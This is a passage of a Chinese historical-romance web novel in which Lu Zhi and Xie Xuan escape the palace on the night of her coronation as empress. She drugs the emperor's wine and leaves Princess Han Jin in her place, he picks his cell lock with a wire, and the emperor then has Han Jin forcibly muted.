韩锦道:“方才我说过,我平白受气,若你没有看出什么,我是不会轻易罢休的。”
流光:“公主想如何出气?”
啪——
韩锦打了流光一巴掌,警告道:“下回不要挡本公主的路。”
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她说完便气冲冲地离开了。
但韩锦到底是个养尊处优的公主,打起人来不似陆枝那般有劲,流光不痛不痒地动了动下颌。
陆枝看这一巴掌看得解气,心情有些好,她捡起地上的两支箭,走到流光面前笑了笑,想损他一顿又发觉此举太过幼稚,于是作罢。
流光道:“还请皇后娘娘将纸张拿给微臣。”
方才他数了数,韩锦手里有三张。
宫女拿了十张来,除去韩锦的三张,陆枝手里应该有七张。
他得知道这七张里写了些什么。
陆枝拒绝。
流光道:“还请娘娘不要为难微臣。”
陆枝冷笑一声,张开了双臂,示意让他来搜。
流光朝宫女使了个眼色,宫女上前搜陆枝的身被她一把推开。
她要笑不笑地看着流光,用口型说道:“将军想看,便将军自己来搜。”
流光没动。
陆枝远远看见谢瓒朝这边走来。
她解了腰带扔在地上,款款走向流光,所有宫女不敢再看,低下了头。
流光往后退了一步:“皇后娘娘,还请自重!”
陆枝没有停下,抬手作势要扯开衣领。
流光立马侧过头:“皇后娘娘!”
陆枝勾唇一笑,趁机抓住流光的手往自己锁骨处一抓。
香肩外露,白皙的皮肤上留下两道隐隐冒出血的指痕。
流光一惊,推开陆枝。
陆枝露出一个得逞的笑容,顺势倒在地上,紧紧抓紧领口的衣服,一副受了欺辱泫然欲泣的楚楚可怜模样。
谢瓒立马赶了过来。
“枝儿!”
陆枝虽然听得想吐,内心不耻自己的所为,但还是紧紧抓住谢瓒的手臂,装出十分害怕的模样。
她得创造机会。
谢瓒狠狠瞪了流光一眼。
流光想要辩驳:“陛下,我……”
陆枝不给他辩驳的机会,抬起染了泪的双眸看向谢瓒,露出祈求的神情。
谢瓒从未见过陆枝这般主动向他示弱,一时间竟有些鬼迷心窍。
他将陆枝抱起,对着流光下令道:“自行去领杖责,多加二十。”
流光知晓辩驳无用,应道:“是。”
陆枝看着流光,暗暗勾起唇角。
流光此番挨几十板子,必然有伤在身,加之无辜心里有气,便没有心力顾及得那么周全,总会有疏漏,那么守卫也会有所松懈,到时候韩锦就更好混进来些。
虽然她没打算用韩锦,但既然碰上了韩锦,当然是用韩锦更好。
毕竟韩锦的心在谢瓒身上,她们的利益暂时达成一致。
谢瓒将陆枝抱到了皇后居住的忘忧宫,他轻轻将陆枝放下。
“来人,拿药来。”
宫人立刻小跑着将药取来。
谢瓒拿起了药瓶,看这架势是要亲自给陆枝上药。
陆枝眼角一抖,夺过药瓶,用口型说道:“我自己来。”
她跑到帘子后面,拉开衣领,拿着药瓶一抖一抖地把药粉倒在了伤口上,贴上药贴。
待处理完,她低头一看,才想起自己的腰带还掉在刚才的地方,没捡起来。
她摸着腰间,扫了眼周围,准备扯下束帘子的带子来临时充当一下腰带。
一只手突然伸了进来,上头躺着她遗落的腰带。
看衣袖,是谢瓒。
陆枝:“……”
虽然心里膈应,但比起膈应,她更不想衣冠不整。
陆枝拿过腰带束好,又恢复了那副冷情模样。
谢瓒:“今夜和朕一同用个晚膳,可好?”
不好。
陆枝本想拒绝,忽然想起了她从发簪上取下来的那颗药丸。
这是个好时机。
陆枝:“好。”
她下意识地用声音回答,惊觉自己的声音竟恢复了。
22.投药
只是声音嘶哑如鸭叫,陆枝不堪忍受自己这宛若陈酿过头的气泡音,还是用手比划道:“刚才衣服摔脏了,我得先回去换一件。”
谢瓒轻笑:“去吧,晚些时候朕派人来接你。”
陆枝只剩了唯一一颗药傍身,恨不能掰碎了来用,她屏退前来伺候换衣的宫女,将此前藏于房梁上的药丸取了下来,用簪子刮了一层粉末藏进指甲里,又将药丸放了回去。
宫女端来了药,替她取下绷带,瘀血印已经全部消失,她的脖子恢复成原来白皙的模样。
陆枝将药喝了,试着发了发声,虽还有些沙哑,但听着已经正常许多。
宫女道:“贺娘娘痊愈。”
陆枝:“不是娘娘,不要瞎叫。”
宫女:“娘娘说笑,陛下已在筹备封后大典。”
她的眼睛看起来似乎有些不甘在里头,转瞬即逝,但还是被陆枝敏锐地捕捉到了。
她透过铜镜看向小宫女,似笑非笑地问道:“你想不想做皇后?”
宫女惶恐地跪下:“奴婢从未有过如此妄想,还望娘娘恕罪。”
陆枝扶起她:“你没有罪,要我恕什么?”
她给小宫女整理额前散落的头发:“在大栾,诸多贵女都想嫁于天子,可她们终究不能时常入宫出现在天子眼前,可你们不同,常在天子身旁伺候,机会总是要多些。”
“前些日子,你穿我衣裳了吧。”陆枝淡淡道。
那件衣裳上有不属于她的香味,却是和眼前这个宫女身上的一样。
一件衣裳而已,本没什么所谓,但这背后的深意值得深究那么一下。
比如这个宫女为什么要穿她的衣裳,又比如她见到谢瓒时是什么样的神态与表现。
宫女吓得再度跪下:“奴婢该死,娘娘饶命,奴婢再也不敢了。”
“一件衣裳而已,我不在乎,我很是欣赏你。”陆枝开始鬼话连篇道:“你说天子将来定然三宫六院嫔妃成群,我势单力薄的,这皇后之位怕是难坐。你生得这样好看,我且觉得你做个贵妃不成问题,若你站我这边,我便将你引给天子,你可愿意啊?”
宫女不敢说话。
这宫里的女子谁没想过飞上枝头变凤凰,她不服为何陆枝同她一样是个平民女子却能得天子青睐。
她自诩姿色不比陆枝低,在一种宫女当中也最为出挑,为何陆枝能做皇后而她只能做个宫女?
可她拿捏不准陆枝此番话是试探还是真心。
陆枝俯视着她:“既然你不愿意,我也不勉强,这宫中女子众多,总能有一两个愿意站在我这边的。好了,起来吧,我该去和天子共用晚膳了。”
她起身跨步,作势要离去。
宫女立刻抓住了她的腿,抬着头怯生生地看着她问道:“娘娘所说一切可否当真?”
陆枝嘴角勾起一抹笑意,她蹲下来摸了摸宫女的脸颊:“当然是真,现下我是不是可以认为你答应了?”
宫女磕头道:“奴婢日后唯娘娘马首是瞻。”
陆枝将她扶起:“我还不知道你的名字。”
宫女道:“奴婢华惜。”
陆枝:“好,华惜,我记住了。走吧,今夜天子在场,你便侍奉左右。”
华惜应道:“是。”
……
陆枝心有算计,对谢瓒的态度算不上热络,但也是客气,没有之前那般冷冰冰的。
谢瓒给她夹菜,道:“你今日同韩锦都说了些什么?”
陆枝微笑:“女儿家之间的私事,不便明说,莫非这也不行?”
谢瓒:“怎会,既是你们女儿家的私事,我便不再过问。”
陆枝看了眼倒酒的华惜,问道:“陛下觉得我身边的这位女子如何?”
华惜闻言立即放好酒壶,退至一旁垂首站着。
谢瓒看不清她的容颜,便说道:“抬起头来。”
华惜听话地抬头。
谢瓒上下打量了会儿,道:“姿色可算出挑。”
华惜闻言心中大喜。
陆枝也喜。
她拿起谢瓒的酒杯给谢瓒敬酒:“那便劳陛下将她留在我的身边伺候。”
谢瓒有些讶异:“她伺候得这般体贴,竟让你亲自来求。”
陆枝:“身旁总该有个体己的,她很伶俐。”
谢瓒接过酒杯,没有立即喝,拿在手中把玩:“你此前那个丫鬟……是叫若娘,她不体己?”
陆枝:“陛下会让她来?”
当然不会。
谢瓒笑了笑,将酒一饮而尽:“你既看上了她,日后便留在身边使唤罢。”
他看向华惜:“日后好生照顾皇后,赏赐自不会少。”
华惜欠身:“是,陛下。”
陆枝又给他斟了一杯酒:“陛下可还记得答应我让我见谢玄一面?陛下觉得何时合适?”
谢瓒眼中戾气一闪,抓住陆枝的手腕,不悦道:“你就这般想见他?”
陆枝暗暗咬牙,面上笑着:“总该见见,想来陛下也不希望我与他将来再有牵连不是?”
谢瓒狐疑地打量着陆枝。
陆枝用尽全力保持着镇定和不在乎。
许是未从陆枝的表情里发现什么端倪,谢瓒松开了手,语气还是不悦,道:“明日便带你去见,此次过后,你们此生都不要再见。”
陆枝忍着痛恨露出笑容:“多谢陛下。”
……
昏暗的地牢内,弥漫着浓重的血腥和陈腐交杂的气味。
谢玄浑身伤痕,靠在冰冷的石壁上微微地呼吸着,好似一片单薄飘零的叶。
陆枝有想过谢玄的状况不会太好,本做好了心理准备,可当真正亲眼看到,心脏还是免不了抽疼,像是被一石锤抡过来砸了个粉碎。
但她不能表现出来,连眼泪都得强忍。
如果她此刻哭天喊地,那谢瓒这个疯子过后又不知道会对谢玄下怎样的狠手。
陆枝克制住身体的颤抖,深呼吸了一口气,用轻松的语气问道:“陛下,我能过去同他讲一两句话吗?陛下安心,我就在牢房外面,便当着陛下的面讲。”
谢瓒点了点头。
陆枝走到牢房前蹲下,轻声地唤道:“谢玄,谢玄。”
谢玄睁开眼看到陆枝,不顾一切地朝她爬过来:“枝儿,枝儿,你没事便好,嗓子已好了?”
陆枝差点哭出来,她拼命忍耐住眼泪:“嗯,我没事,嗓子已好了。”
谢玄松了口气:“那便好。”
他看到站在不远处的谢瓒,声音缓慢地问道:“枝儿,你当真要做他的皇后?”
陆枝背对着谢瓒,不怕被他看见,她用口型说道:“没有,谢玄,我永远不会选择除你以外的别人。
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”
这话只有谢玄知道,他眸色微微一动。
陆枝随后出声答道:“当真。”
谢玄状似颓废地坐在地上。
陆枝伸出手拍了拍他的手,道:“今日过后,我们便不再相见,你要多多保重。”
她看着谢玄,眼神认真:“后日便是封后大典,届时我将与陛下同受百官朝拜。”
这是逃出地牢的好时机。
谢玄甩袖,恨声道:“那我便祝皇后娘娘与他佳偶眷成。”
纵然知道是假的,陆枝还是免不了心疼。
谢玄说这话时,眼中的伤心是真真切切的。
陆枝起身:“谢过吉言。”
谢瓒带着陆枝走出地牢,试探道:“你希望我如何处置他?”
陆枝:“成王败寇,陛下想如何处置便如何处置。”
谢瓒很满意这个答案:“回罢,后日过后,你便牵往忘忧宫。”
陆枝:“嗯。”
谢玄背对着牢门而坐,看上去似乎在伤心。
狱卒朝他的背影哼了一声。
他摊开掌心,上头躺着方才陆枝趁机塞给他的一截铁丝。
枝儿,我定不会让你嫁给他!
……
封后大典当日,华惜带着一群宫女等着给陆枝打扮。
陆枝手心里一直捏着那颗药丸,垂眸凝思,任宫女自行折腾。
衣裳穿好就该戴钗。
一宫女拿起一支金钗问道:“娘娘,此钗可戴?”
陆枝听声音耳熟,抬眸看向铜镜,和身后的韩锦视线相对,她勾起嘴角:“这些我不懂,你看着办吧。”
韩锦:“是,娘娘。”
韩锦借着戴钗的时机问道:“何时换?”
陆枝浅笑:“自是洞房花烛时。”
韩锦脸一红,又忧心道:“纵然灭了烛火,是不是同一人还是能够分辨出来。”
陆枝抬手假装整理头发,拍了拍韩锦的手,道:“安心,此事我自有安排。”
谢瓒出现在门口,陆枝从铜镜里看到了他的身影佯装没看见,提醒道:“谢瓒来了。”
韩锦将钗整了整退至一旁,另一位宫女上来为陆枝比对耳环,正好将韩锦挡住。
陆枝对着身旁的宫女故作紧张道:“拿酒来。”
谢瓒走近轻笑:“可是紧张了?”
陆枝故作惊讶,起身道:“陛下。”
谢瓒:“不必紧张,就算你做错了,一切有朕。”
陆枝一脸严肃道:“陛下不可戏言,此乃国之大典,必然要步步谨慎,不可出错。”
谢瓒挑眉:“那你喝酒便不会出错了?”
陆枝:“都说酒醉壮人胆,我不喝醉,但借酒壮壮胆。”
谢瓒:“既然如此,朕便陪你喝一杯。”
韩锦借机离开,找了个借口让另一个宫女送酒。
陆枝斟了一杯酒,将药下在了自己的杯内,她假装抿了一口,将酒杯举向谢瓒:“陛下可愿喝我这一杯?”
她笑意盈盈,看得谢瓒心头起了一丝燥热。
谢瓒接过酒杯,笑道:“既是你给的,如何不愿?”
而后将酒一饮而尽。
陆枝拽得惨白的手指恢复红润,她笑着夸道:“陛下好酒量。”
谢瓒伸出手:“走吧,皇后,吉时到了。”
23.逃出
地牢内,忽得跑进来一个人,此人将士打扮,神色喜悦又着急,对着看守谢玄的狱卒喊道:“哎,老哥,今日封后大典,公公应陛下之命在长乐门那处发赏钱呢,你怎么没去领?”
狱卒有些心动:“当真?”
此人拿出一个装得满满当当的荷包,道:“真,十分真,我去得早,拿得多,去晚了估计没了。”
狱卒听得更加心动了,舔了舔嘴唇,可刚跑走又跑了回来。
此人疑惑问道:“老哥不去?”
狱卒为难道:“上头命我时刻看着里头这位,我若是走了,万一出点什么事可不好交代啊。”
此人道:“害,便是这等小事,我替老哥守一会儿。”
狱卒拍了拍此人的肩:“好老弟!”
随后眯起眼睛问道:“你在谁手底下做事?为何我从没见过你?”
此人道:“老哥没见过我便对了,往常我都在流光将军手底下跑腿,今日将军看有赏赐,心里想着各处兄弟,叫我来给兄弟们顶一会儿,待哥哥们领完赏赐回来,我就该走了。”
他凑近狱卒的耳朵神神秘秘地说道:“不瞒老哥说,将军命我去忘忧宫伺候新后。这可是个好差事,日后若能得新后多看一眼,前途便有了!”
狱卒放下戒心,巴结道:“老弟这果真得了份好差事,若是日后发达了,可莫要忘了哥哥。”
此人道:“这是自然,日后若有难处,还望哥哥多多帮忙。”
他从荷包里拿了些银两给狱卒。
狱卒看此人如此上道,很是满意,大笑道:“那此处便劳烦老弟看一会儿,哥哥领了赏钱便回来,日后若有机会,一起喝个酒。”
此人一脸受宠若惊:“那便等候哥哥佳音了。”
这个狱卒是地牢里的头子,他一走出地牢,便呼着门外的一群狱卒去领赏钱。
扮作将士的沐武立刻收起笑意,道:“殿下,我这就救您出来,您退后些。”
他拔出剑正要朝门锁铁链砍,谢玄制止道:“这铁链比剑要粗上不少,用铁锤都不一定能砸开,你砍不知要砍到何时,莫要弄出大动静。”
沐武停下:“殿下,那该如何?钥匙在方才那人身上,被他一直捂着,我没有下手的机会。”
谢玄:“无妨,我来。”
他掏出那截细钢丝,折成两道拧成一根,插/入锁芯内,一点一点摸索着芯扣位置。
要说谢玄这么一个皇家子弟,断然是不会此等手法的,这还是陆枝教给他的。
陆枝在策王府时,有个首饰盒的钥匙丢了,四处都找不见,他欲给陆枝找个开锁师傅,结果陆枝说不用,自己找了截细铁丝开开了。
谢玄那会看得目瞪口呆,陆枝冲他眨了眨眼:“想学吗?我教你啊。”
说着她又把锁扣上了。
谢玄一边虚心学习,一边问道:“你如何会开锁?”
陆枝道:“李婆婆年纪大了,记性不好,常会将钥匙弄丢,她老是来找我帮忙,我便跟着开锁师傅学了一会儿,日后她若再丢钥匙,只需知会我一声,我上门去服务,呃,上门去帮她开锁。”
啪嗒——
谢玄找准了内芯扣,用力一压,锁便开了。
他连日来没吃过饱饭,身体有些虚,一站起来两眼发黑。
沐武将谢玄扶出来,拖了个人进来:“殿下,你同他换件衣服,能拖一会儿。”
谢玄脱下被鞭打破了的衣裳,破口粘在伤口上,一脱便扯到了,疼得他眉头紧锁。
沐武将换好衣裳的昏迷之人拖进牢房,靠在墙壁上,头朝着里面,双手耷拉在身前,垂下来的头发遮挡着面容,看上去仿若正在失意感伤。
谢玄:“……”总觉得这侍卫是在点他。
沐武将锁重新扣上,拉上谢玄一脸无辜道:“殿下,快走,皇妃在等您。”
谢玄跟着沐武从隐蔽之地一路靠近忘忧宫。
“沐武,那狱卒回去后怕是就会发现。”
沐武:“殿下安心,我当真找了人在长乐门那块送赏钱。”
谢玄听了稍稍安心,想到沐武并不富裕,关切问道:“沐武,你此番花费众多,可还剩有银两?此番出去,将所出数额告知于我,我全部偿还。”
沐武一顿,头也没回地答道:“殿下安心,此番便是从王府拿的,是殿下的钱。”
谢玄:“……”
差点就感动了。
……
忘忧宫内,韩锦已穿上和陆枝相同的喜服在暗处等候多时。
此番扮作陆枝的行径虽叫她自已都不耻,但她还是要继续行进。
若是回到凰国,她便要被长姐指给蛮族王子,蛮族人暴虐凶残,视女人如玩物,她嫁过去,要受到何等的羞辱!这她如何能忍!
韩汐好狠的心!
就因韩汐是皇后所出,身份尊贵,而她不过是个不受宠的妃嫔之女,便是连自己的命都不能做主。
此次陆枝甘愿同她交换,哪怕顶着陆枝之名,她也要做这个皇后!她绝不要回到凰国被韩汐当作猪狗对待!
韩锦紧紧掐着手心,指印在手心嵌出了一道深红的沟壑。
陆枝被华惜搀扶着回到忘忧宫。
她坐到床边,假装闻了闻空中的气味,道:“这熏香用得不对,你且去换个熏香,要茶靡花香的。”
“陛下爱闻。”她似有深意地拍了拍华惜的手背。
谢瓒爱不爱闻她不知道,反正这花香和那药丸可以互相起个作用。
华惜意会,领命去办。
陆枝坐在床边,看着华惜换好熏香,确认花香散出,满意道:“我有些乏了,你去门外守着,不必让人进来伺候,若是陛下回来了,迎他进来便可,明日你随我一道同陛下用早膳,你多伺候着些。”
华惜看陆枝如此给她机会,心中欣喜:“是,娘娘。”
待华惜走出去将门带上,陆枝假意咳了五声,三急而缓。
韩锦从暗处款款走出,她看着陆枝冷嘲道:“陆姑娘好手段,这宫女怕是还不知被你利用着吧。”
陆枝莞尔一笑:“她怎会不知,她心中有欲望,被我发现了,所以甘心被我利用,公主不也是?公主想做大栾的皇后,我不想做,公主此刻不也是在利用我吗?”
韩锦的面色不太好看,语气有些冲:“够了,如今箭在弦上不得不发,你也该告诉我如何让陛下分不出你我了吧。”
陆枝指了指桌上的熏香:“公主只需多沾染沾染那边的熏香便可。”
韩锦反应过来:“你给他下了药?”
陆枝笑而不语。
她脱下层层华服,里面是一身轻盈便装,她将喜服踢进床底下,对着床边摊开手掌道:“公主请。”
韩锦走到床边坐下,陆枝将熏香拿了过来放在床头:“预祝公主得偿所愿。”
“告辞。”
陆枝来到后窗推开窗,看了眼此处没有守卫,打算翻出去,她可没兴趣看韩锦和谢瓒行鱼水之欢,当下正是好时机,她要赶紧找到谢玄一起逃出去。
她翻下窗,小心谨慎地往拐角摸去,被人一把拽了过去捂住了嘴。
陆枝反应迅速地拔下头上的簪子就要刺这只手。
谢玄低声:“枝儿
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,是我。”
陆枝立刻停了动作,发簪堪堪在谢玄的手背上停住,没有刺破。
谢玄放开了手。
陆枝抱住谢玄,低声哽咽:“你终于来了,你再晚来会儿,我就要嫁给谢瓒了。”
谢玄拍拍她的背:“夫人一心在我,我定不会让此事发生。”
陆枝收拾好情绪,道:“这宫中你们比我熟,出去的路便交给你们了。”
沐武:“殿下,皇妃跟我走。”
谢瓒宴请全臣。
许是酒意上头,又或是药效发作,他只觉心底有股挥之不去的燥热感。
他想见到陆枝,将她狠狠抱在怀里。
谢瓒愈发克制不住这个欲望,放下酒杯道:“诸位爱卿随意。”便朝着忘忧宫而去。
群臣自饮自乐了一会儿,便陆陆续续地散了。
沐武带着谢玄和陆枝换上家仆衣裳,混进群臣带来的家仆当中,跟着某位官员出了宫。
三人故意走在马车的后面,而后趁着转角离开了队伍。
陆枝:“策王府是定然回不去了,沐武,若娘呢?”
沐武:“皇妃安心,若娘姑娘已被我事先安置出了城。”
谢玄:“城中之人可都走了?”
沐武:“我已交代,今日酉时已过,便先出城和城外队伍汇合。”
陆枝刚想问谢玄安排人留在城中干嘛就自己想明白了,若是无人相助,沐武怎么混进宫去。
三人根据陆枝画下的地图走到一条荒芜的小道,根据路上留下的标记一路找到了大部队。
众人行礼:“恭迎殿下皇妃。”
若娘看见陆枝,哭着跑过来:“小姐,您没事便好,担心死若娘了。”
陆枝摸摸她的头:“我没事,还要多谢你在城外侯我。”
若娘用袖子抹掉眼泪:“小姐说得哪里的话,若娘这辈子都要跟着小姐。”
陆枝抱了抱她:“好若娘,谢谢你。”
谢玄冲着众人摆了摆手:“如今我已经不是什么殿下,今日过后,各位兄弟便要同我亡命天涯,若是有不愿者,当下便可自行离去,谢玄绝不强留。”
无人离开。
一人带头道:“殿下于我陈冕既有救命之恩,又有知遇之恩,我此生定誓死追随殿下。”
众人附和:“定誓死追随殿下。”
陆枝觉得不该打断当下豪情壮志的氛围,但她不得不打断:“诸位,时间紧迫,当下逃命要紧。”
陈冕道:“皇妃说得在理,我等已备好马匹,只是要辛苦皇妃了。”
陆枝利落地跨上马:“我若是怕辛苦,此刻就应该留在宫中当皇后。”
“诸位,随我走吧,虽然要亡命天涯,但我有一处能让我们落脚。”
谢玄第二个骑上马,走到陆枝身旁:“你说去哪我们便去哪。”
陆枝对沐武道:“沐武,若娘不会骑马,便劳你带她共乘,照顾好她,莫让她摔了。”
沐武领命:“是,皇妃。”
他跨上马朝若娘伸出手,带若娘回应后一把将她拉上马,圈在怀里:“若娘姑娘,抓紧缰绳。”
若娘因为这般近距离接触有些羞,但很快收起了心思。
她们当下是在逃命。
这是若娘第一次骑马,她听话地抓紧缰绳,眼神认真地点头:“嗯,沐少侠,我一定会抓紧。”
众人陆陆续续地上马,陈冕问道:“敢问皇妃,我们往何处去?”
陆枝扬起马鞭一甩而下,马儿奔跑起来,一群人立刻跟上她。
她在风中大声喊道:“凤州。”
24.安排
谢玄追上陆枝:“上回你问我凤州之事,便是有了打算?”
陆枝:“凤州此地偏远,便是朝廷也鞭长莫及,且地势险峻,易守难攻。”
她冲谢玄眨了眨眼:“且你说了,想平了凤州的匪患,咱们这趟去就把这事给办了。”
城外无灯火,夜色浓郁,山林中更甚。
陆枝看着前方漫漫夜色,声音有些轻了:“谢玄,若是谢瓒将大栾治理得好,我们……”
谢玄了然:“他若励精图治,我又何苦生起战乱害得生灵涂炭,百姓流离失所。”
“只是枝儿,你也知他野心……”
陆枝微微点头:“他若执意要四处征战,那这天下,我们便争一争。”
陈冕追上来,道:“皇妃,京城和凤州相隔数万里,咱们吃倒是可以在沿途山林中找野味解决,可这马……”
陆枝:“如今我已不是什么皇妃,陈统领唤我陆枝便是。”
陈冕:“那哪行啊。”
他想了想,问道:“那唤夫人,可好?”
陆枝点点头:“便如此吧。”
“陈统领不必担心,沿途自会有补给。”
谢玄惊讶:“你竟连这也算好了?”
他想了起来:“你是让金承先去了凤州?”
陆枝:“逃命嘛,总是要多想些。我们且看金承这先行官做得如何吧。”
她对陈冕说道:“陈统领,劳你派一位轻骑快马加鞭赶往下一州的藤村,将马匹和干粮带至沿途的山林等候。”
陈冕:“何以为信?”
陆枝:“找村长便可。”
她喊道:“若娘。”
“是,小姐。”若娘从包袱里掏出一个药瓶递给陈冕。
陆枝:“让轻骑将这药瓶带给村长便可。”
陈冕领命,从队伍中喊出一人快马加鞭地往前赶去。
谢玄问道:“枝儿,你是如何安排的?”
不光谢玄想知道,陈冕也想知道,这位皇妃的安排未免也太过周全了,仿佛一早就算计好了一般。
陆枝:“凤州距离京城三万里,咱们这马匹跑得急,我按一日跑两千里来算,一路上便需得换十五趟马,明日天一亮,谢瓒便该反应过来派人追杀,通缉令走官道会先一步到达各个州县,咱们进城便会有危险,所以我让金承找沿途的偏远村落设下补给。”
陈冕听了佩服,又有疑惑,问道:“夫人,可如何确保我们能拿到这些补给,偏远村落大都穷苦,如何会不吞下这批补给?”
陆枝道:“这点我也想到了,所以让金——我的师弟稍稍用了点手段,无论哪个村落,都有水源,我让师弟往水里投了毒,要命还是要补给,让全村人自己选。”
陈冕心中大惊,一时间说不出话来。
皇妃……这么狠的吗?
谢玄知晓陆枝不会真的投毒,道:“真投的是什么?”
陆枝看唬人失败,撇了撇嘴:“痒痒粉,每逢下雨他们便会发痒,只要他们乖乖交出补给,解药便拿给他们。”
“虽然如此,也没有让他们白干活,金承应是另外给他们留了一笔银两的。”
陈冕松了口气。
谢玄:“沿途十五村皆是如此?”
陆枝纠正道:“错,是二十五村。有些村子难免会不配合,或者自己找到办法解了痒,咱们没有时间耗,所以多准备了点。”
陈冕心说:这哪是准备了点?这是准备得太充足了!
这皇妃,当真心思缜密!
谢玄:“二十五村,既要准备补给,又要打发村民,你可是将怙州全部家当都用上了?”
陆枝:“是啊,到凤州咱们可真就是穷光蛋一群了。”
谢玄:“无妨,有为夫在,定不会饿着夫人。”
陆枝看向谢玄,见他眼神镇定,似有打算,便问道:“莫非……我们想到一块去了?”
谢玄微微一笑:“夫人方才也说了,我们此次是去平匪患。”
陆枝大笑:“便是如此。”
那群土匪占山为王多年,金银财宝定然不会少。
陈冕不解,想问又不敢问,怕显得自己傻。
在下一州众人果真见到了马匹和干粮,陈冕眼睛都瞪直了,对陆枝佩服得五体投地。
陆枝:“劳陈统领再派另一人去往下个村,罔村,两人换着来。”
陈冕立即安排上。
托陆枝的福,众人这场命逃得有些安逸。
……
谢瓒焦急地走到忘忧宫内,被香味刺激得愈发难忍。
华惜想要扶他,被他抬手挡掉:“退下。”
“是,陛下。”华惜乖乖地退了出去,关上了门。
韩锦坐在床边,听见谢瓒来了紧张不已。
他当真认不出么?
谢瓒确实认不出,在他眼里,就是陆枝坐在床边垂眸含笑,他踉跄地走过去,将韩锦扑倒在床上。
韩锦以为暴露,惊恐不定,但看谢瓒看她的眼神迷离,她试探着出声喊道:“陛下?”
“枝儿。”谢瓒低低地唤了一声,俯身吻了上去。
他在韩锦耳边呢喃:“你终于是我的了。”
韩锦竟从这话中听出了一分深情,她面露苦涩,一滴眼泪在眼眶里打转。
这是属于陆枝的,不是属于她的,她想。
谢瓒在吻她的脖子。
韩锦抬手缓缓圈住谢瓒的脖子,深情地唤道:“陛下。”
属于陆枝的又如何,她抢过来不就行了?
谢瓒彻底失去理智。
一夜翻云覆雨。
晨起,谢瓒坐在床边背对着韩锦,一脸阴鸷。
韩锦被天光晃了眼,缓缓睁开眼睛,她还沉浸在昨夜的欢愉里,看见谢瓒便从后面贴了上去:“陛下怎不多睡会儿?”
谢瓒一把将韩锦推开,将她掐在床上,眼神狠得似要将人吃掉:“韩锦,你好大的胆子!说,你将陆枝弄到哪去了!”
脖颈上的惊人力度让韩锦感到无比恐惧,她好似有些明白陆枝是为何发不出声了的。
她用力抓住谢瓒的手腕企图挣脱却撼动不了他分毫,她拍着谢瓒的手,痛苦叫唤道:“在、在……”
谢瓒看她要招,甩开了手。
韩锦仿若死里逃生一般大口呼吸起来,一边呼吸一边咳。
她撑着半边身子道:“陆枝昨夜便离开了,去了何处我不知,此番我在这便是陆枝的安排。”
谢瓒想起昨夜那般主动的陆枝竟是韩锦,心中恨意暴涨。
好啊,陆枝,你到底还是选了谢玄。
“来人!”
华惜走了进来,见床上之人不是陆枝心惊不已,但她不敢探究。
“陛下。”
谢瓒:“唤流光来。”
流光赶到:“陛下。”
谢瓒:“带人将皇宫围起来,一个人也不许放出去。”
“去地牢看看谢玄还在不在。”
虽说如此,谢瓒也能猜到人大概率是不在了。
果然。
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不久后,流光来报,地牢内的人已经被调了包。
谢瓒手指握得咔咔作响。
昨夜便跑了。
大臣们昨夜离宫,他们极有可能混入队伍中离开了皇宫。
谢瓒咬牙道:“传令下去,举国搜捕逃犯谢玄,各州各县若有知情不报者,斩立决!”
他冷眼看着华惜,道:“去太医院领一副哑药和避子药,即刻送来。”
华惜当即领命去办。
韩锦惊恐地看着谢瓒,整个人往后缩:“陛下,你要做什么?”
“做什么?”谢瓒冷笑出声,“你们便是算定了封后大典已成,我不会杀你。”
“你既然这么喜欢扮作她,那就好好地扮。”
两碗药很快送来。
谢瓒下令道:“给皇后喂下去。”
韩锦大喊:“不,我不喝。”
华惜明白陆枝骗了她,心中有恨,眼神示意宫女制止住韩锦。
她捏住韩锦的下巴,亲手将药喂了下去。
你们既如此爱算计,此下场便是活该!
谢瓒眼底寒意汹涌,道:“皇后旧疾复发,太医无治,从今以后便成了哑巴,皇后因此心郁,不肯再踏出忘忧宫半步。”
他看向华惜:“陆枝曾向我问起过你。”
华惜垂首:“是,陛下。”
谢瓒质问道:“此番其中可有你助力?”
华惜跪下:“陛下恕罪,娘娘昨夜说乏,让奴婢守在门口侯陛下,这何时换了人,奴婢当真不知。”
谢瓒捏住她的下巴抬高,打量片刻后,道:“好生照顾皇后,皇后心郁成疾,日日都得喝药。”
华惜眼珠微动,怕得身体颤抖,却又像是窥见了什么机会,道:“是,陛下,华惜明白。”
……
陆枝一行人走的偏僻小道,纵然缩短了休整时间,可路上还是耗费了不少时日,但好在补给充足,一行人顺利到达了凤州。
谢瓒下的逮捕令走的官道,一路畅通无阻,先他们一步抵达凤州。
陆枝没有贸然进城,先派了人进城打探消息。
派去的人在城内溜了一圈后回来,禀报道:“殿下,夫人,统领,城内到处张贴着殿下的逮捕令,赏金高昂。”
确实如陆枝所料。
陆枝看众人神色疲乏,摸了摸下巴,问道:“赏金多少?”
将士:“?”
众人诧异得睁大了眼睛。
陆枝笑道:“看大家一路辛苦,开个玩笑给大家放松一下。”
众人:“……”一点也不好笑!差点以为白跑了这一路。
陆枝看众人都在等着她拿主意,眸色微微一闪,她席地而坐,瘫靠在谢玄身上叹了口气:“跑了三万里,脑子已经累昏了,夫君,便靠你来想办法了。”
谢玄给她捏了捏肩:“凤州四面环山,地势险峻不设城防,我们从山上走。”
陈冕路上还是问了陆枝在笑些什么,陆枝向他解释了清楚。
他接话道:“对啊,夫人说山上有土匪,正好咱们可以将他们一锅端了。”
“兄弟们,安生了一路,该干活了!”
众人应道:“是。”
陆枝冲谢玄俏皮地眨了眨眼。
谢玄凑到她耳边低声道:“你家夫君可不是这般小气之人。”
温热的鼻息扑了陆枝一耳朵,她条件性地朝侧边躲了躲,暗暗捏了谢玄一把。
这么多人看着呢!
知不知羞!
25.打入
陈冕性子风风火火,说干就要干。
陆枝制止道:“陈统领且等一等,我们先在城外简单扎营休整一番,大家连日来奔波都累了。”
陈冕一想,是这个理。
一行人在城外树林里简单扎了十几个蓬。
若娘抱着包袱靠过来,拿出两张饼:“小姐,殿下,吃点东西吧,”
陆枝接过,递给谢玄一张。
“若娘,一路上都没来得及问,我的海棠可是还在策王府内?”
若娘:“若娘知晓小姐宝贝这海棠,本欲拿走,沐少侠说咱们逃命不好带着,便派了一人将海棠送去了怙州给了小童,小童还给咱们回了信。”
陆枝闻言放了心:“若娘最是贴谱。”
“小童近况如何?”
若娘眉间带笑:“跟着李婆婆一切都好,已经上了学堂会识更多的字了,这信便是他自己写的。”
陆枝拿过信看,欣慰道:“小童这字写得漂亮,将来定是位大家。”
若娘更开心了:“他平安就好,若真能成大家自然是好,若成不了平淡些也很好。”
陆枝道:“若娘通透。”
